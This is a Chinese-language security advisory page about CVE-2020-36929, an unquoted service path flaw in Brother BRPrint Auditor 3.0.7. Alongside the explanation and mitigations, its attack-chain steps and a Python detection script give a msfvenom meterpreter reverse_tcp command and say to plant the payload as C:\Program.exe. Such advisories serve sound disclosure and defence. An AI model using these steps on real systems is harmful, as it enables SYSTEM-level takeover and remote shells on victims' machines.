IPBUF安全漏洞报告
English
CVE-2020-36929 CVSS 7.8 高危

CVE-2020-36929 Brother BRPrint Auditor 未引号服务路径权限提升漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2020-36929
漏洞类型
未引号服务路径
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Brother BRPrint Auditor 3.0.7

相关标签

未引号服务路径权限提升本地攻击BrotherBRPrint AuditorWindows服务高危漏洞CVE-2020-36929

漏洞概述

CVE-2020-36929是Brother公司开发的BRPrint Auditor 3.0.7打印审计软件中存在的一个高危安全漏洞。该漏洞属于Windows服务路径解析问题,官方称为「Unquoted Service Path」漏洞。漏洞源于软件安装目录下的Windows服务(BrAuSvc和BRPA_Agent服务)配置中,可执行文件路径未使用双引号进行包裹。当系统尝试启动这些服务时,Windows会按照路径中的空格分隔符从左到右依次查找可执行文件。攻击者利用这一特性,可以在服务路径的中间目录中植入恶意可执行文件,诱导系统执行恶意代码。由于这些服务通常以较高权限运行,攻击成功后可实现本地权限提升,获得SYSTEM级别的高权限控制。该漏洞需要攻击者具备本地访问权限和低权限用户身份,但无需任何用户交互即可完成攻击。

技术细节

未引号服务路径漏洞是Windows服务配置中常见的安全问题。当服务的可执行文件路径包含空格且未被引号包裹时,Windows在解析路径时会从第一个空格处截断,将剩余部分作为命令行参数处理。例如,如果服务路径为C:\Program Files\Brother\BRPrint Auditor\BrAuSvc.exe且未被引号包裹,Windows会首先查找C:\Program.exe,如果存在则直接执行。攻击者可以在C:\目录下放置名为Program.exe的恶意文件,等待服务重启或系统启动时自动执行。BRPrint Auditor的BrAuSvc和BRPA_Agent服务均存在此问题。攻击者只需创建恶意的可执行文件并放置在相应路径,利用服务重启时机即可实现代码执行。由于这些服务在Windows启动时自动运行且通常具有较高权限,攻击者可以成功实现本地权限提升,从普通用户权限升级到SYSTEM管理员权限。

攻击链分析

STEP 1
步骤1
信息收集:攻击者首先获取目标系统的本地访问权限,识别系统中安装的Brother BRPrint Auditor软件版本
STEP 2
步骤2
漏洞识别:使用wmic、sc或PowerShell命令查询Windows服务配置,检查BrAuSvc和BRPA_Agent服务的可执行文件路径是否被引号包裹
STEP 3
步骤3
路径分析:分析服务路径中的空格位置,识别可被利用的中间目录。例如C:\Program Files\Brother\...中的C:\和C:\Program目录
STEP 4
步骤4
恶意文件生成:使用Metasploit的msfvenom工具生成恶意可执行文件,如windows/x64/meterpreter/reverse_tcp
STEP 5
步骤5
文件植入:将生成的恶意可执行文件重命名为中间目录的可执行文件名(如Program.exe),并放置到相应目录
STEP 6
步骤6
触发执行:等待服务重启或系统重启,Windows在路径解析时会优先执行攻击者植入的恶意文件
STEP 7
步骤7
权限提升:恶意代码以SYSTEM高权限执行,攻击者成功获得系统完全控制权,可进行数据窃取、持久化控制等操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2020-36929 PoC - Brother BRPrint Auditor Unquoted Service Path # This PoC demonstrates the unquoted service path vulnerability # Attackers can place a malicious executable in an intermediate directory import os import sys import subprocess def check_unquoted_paths(): """Check for unquoted service paths in Windows services""" services = ['BrAuSvc', 'BRPA_Agent'] vulnerable_services = [] try: # Query Windows services for executable paths result = subprocess.check_output( ['wmic', 'service', 'get', 'name,pathname', '/format:csv'], text=True ) for service in services: if service.lower() in result.lower(): for line in result.split('\n'): if service.lower() in line.lower() and 'pathname' not in line: if '"' not in line.split(',')[-1]: vulnerable_services.append({ 'service': service, 'path': line.split(',')[-1].strip() }) except Exception as e: print(f"Error checking services: {e}") return vulnerable_services def create_malicious_executable(target_path): """Generate a malicious executable to place in the vulnerable path""" print(f"[*] Vulnerable path detected: {target_path}") print(f"[*] To exploit, create a malicious executable in the intermediate directory") print(f"[*] Example: Place 'Program.exe' in C:\\ to exploit 'C:\\Program Files\\...\\BrAuSvc.exe'") print(f"[*] Generate payload with: msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe -o Program.exe") def main(): print("=" * 60) print("CVE-2020-36929 - Brother BRPrint Auditor Unquoted Service Path") print("=" * 60) vulnerable = check_unquoted_paths() if vulnerable: print(f"\n[!] Found {len(vulnerable)} vulnerable service(s):\n") for v in vulnerable: print(f"Service: {v['service']}") print(f"Path: {v['path']}") create_malicious_executable(v['path']) print() else: print("\n[+] No vulnerable services found or script requires admin privileges") if __name__ == '__main__': main()

影响范围

Brother BRPrint Auditor <= 3.0.7

防御指南

临时缓解措施
在官方修复发布前,可采取以下临时缓解措施:1)使用icacls命令限制服务目录的写入权限,防止攻击者植入恶意文件;2)手动修改注册表或服务配置,为服务路径添加双引号;3)禁用不必要的自动启动服务;4)部署端点检测与响应(EDR)解决方案监控异常进程执行;5)限制普通用户的本地管理员权限,降低攻击成功后的影响范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表